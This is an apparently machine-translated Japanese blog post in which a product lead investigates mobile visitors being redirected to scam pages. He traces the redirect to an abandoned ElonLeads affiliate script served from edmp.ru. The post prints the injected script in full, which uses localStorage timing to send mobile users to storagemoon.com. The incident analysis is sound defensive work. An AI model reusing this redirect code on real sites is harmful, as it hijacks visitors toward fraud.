
こんにちは
私の名前はマキシムで、it-companyの製品開発をリードしています。 この話は、かつて携帯電話からサイトにアクセスしたときに始まり、驚いたことに、インターネットルーレットのサイトにリダイレクトされました。 もう一度行こうとしたが、問題は再発せず、グリッチだと思った。 私は同僚に携帯電話からアクセスするように頼みました-そして、私の髪は逆立ちしました。 1人は「100万人目の訪問者になって車を勝ち取りました」、2人目は「Forexでギフトデポジットを受け取りました」、3人目は「50,000ルーブルバウチャー」で大喜びしました。 何が原因であるかを考えた人には、ヒント-サイトはハッキングされていません。 人気のあるマーケティングツールを使用して、悪意のあるコードを自分で追加しました。 カットの下での調査。
問題
モバイルデバイスからサイトにアクセスすると、疑わしいコンテンツを含むサードパーティのサイトに自然にリダイレクトされます。
疑い
- アフィリエイトjsコード
- インターネットプロバイダーによる埋め込み(解析およびトラフィックの変更)
- ウイルスなどの電話の問題
調査
この問題は、エミュレーターを含むさまざまなデバイスで再現されました。つまり、問題は電話にありません。 また、すべてのオペレーターとwi-fiでリダイレクトが繰り返されました。 そのため、問題はアフィリエイトコードにあります。
Chrome DevToolsを使用して、モバイルデバイスをエミュレートし、リダイレクトの再現を試み始めました。 つかまえた! ネットワークログには、ロードされた奇妙なリソースがたくさんありました。 内容を確認することはできませんでした。移行時に、ブラウザはファイルパスを保存しますが、内容は保存しませんでした。 最初に残った移行はstoragemoon.comだけでした。これは、疑わしいサイトへのリダイレクトのチェーンを介してアグリゲーターを投げました。
さて、それから私たちは他の方法で行きます。
ブラウザコンソールで、デバッグコードを挿入します。
window.addEventListener("beforeunload", function() { debugger; }, false)
新しいページへの移行の開始時に実行されます。 その後、彼らはフォックスフォードに行き始め、キャッシュをクリアしました。 もう一度、幸運なことに-移行はedmp.ru/pix/as_551.jsのスクリプトによって開始されました。
証明:

スクリプト自体は、ElonLeadsのアフィリエイトコードから引用されました。
公平を期して、ElonLeadsを使用しなくなりましたが、切断後、リターゲティングコードを削除しませんでした。
モバイルデバイス用のこのスクリプトの動作の分析(デスクトップからこのアドレスにあるスクリプトは異なって見えます):
スクリプトが最初にロードされると、ユーザーはstoragemoon.comにリダイレクトします。 さらに、次のリダイレクト時間はlocalStorageのキー「MenuIdentifier」の下、つまり1日後に書き込まれます。 日中、スクリプトは静かに動作し、誰も気にしません。
ただし、バックエンドには何らかのロジックもあります。 このスクリプトはモバイルでのみ読み込まれ、常に初めてではないためです。
たとえば、10日ごと、またはしばらくしてからです。 おそらくIPは記憶されています。 それ以外の場合、localStorageのクリーニング直後にリダイレクトが必要です。
スクリプトコード自体は読み取り可能です。
function() { function t() { return !!localStorage.getItem(a) } function e() { o(), parent.top.window.location.href = c } function o() { var t = r + i; localStorage.setItem(a, t) } function n() { if (t()) { var o = localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier", r = Math.floor((new Date).getTime() / 1e3), c = "http://storagemoon.com", i = 86400; n() }();
さらに、whoisの履歴から、スクリプトのロード元であるedmp.ruドメインがユーザーを未知の距離に導き、所有者をELONLID、LLCからPrivate Personに変更したことがわかります。 どうやら、トリックが始まりました。
そして、結論として、この特定のedmp.ru/pix/as_551.jsに依存するElonLeadsアフィリエイトコードは次のとおりです。
<script defer="defer" id="elpix"> try { (function(){ window.elon = { shop: 4, user: {{user_id}} }; var script = document.getElementById('elpix'), as_name = 'as_551', as = document.createElement('script');
起こったこと(私たちの見解では)
ElonLeads、数千のサイトにまたがるメーターを持つCPAネットワークは、edmp.ruドメインへのアクセスを失いました(販売されましたか?)。 このドメインから伸びたjsスクリプトは、ウェブマスターがCPAネットワークに参加するためにサイトにインストールしました。 攻撃者はスクリプトを置き換えて、疑わしいサイトへのリダイレクトで金を稼ぎ続けることができました。 彼らがElonLeadsと共謀していたかどうかは不明です。 ただし、ElonLeadsは、以前のパートナーにカウンターコードの変更について警告しませんでした。 したがって、インターネットルーレットやその他の詐欺へのリダイレクトもサイトから発生している可能性があります。
インターネット上で他のユーザー向けの製品を作成する場合、その結果が侵入者やユーザーに使用されないように注意する必要があるように思えます。 これは私たちの責任の問題です。 私にとって、このような「ドメイン損失」を伴う軽薄な振る舞いは、実際には攻撃者の助けになります。 私たちの誰もが、たとえばGoogleやYandexを許可することを想像することさえできないと思います。
関連する調査: obdolbacca 、 tauron 、 gremglee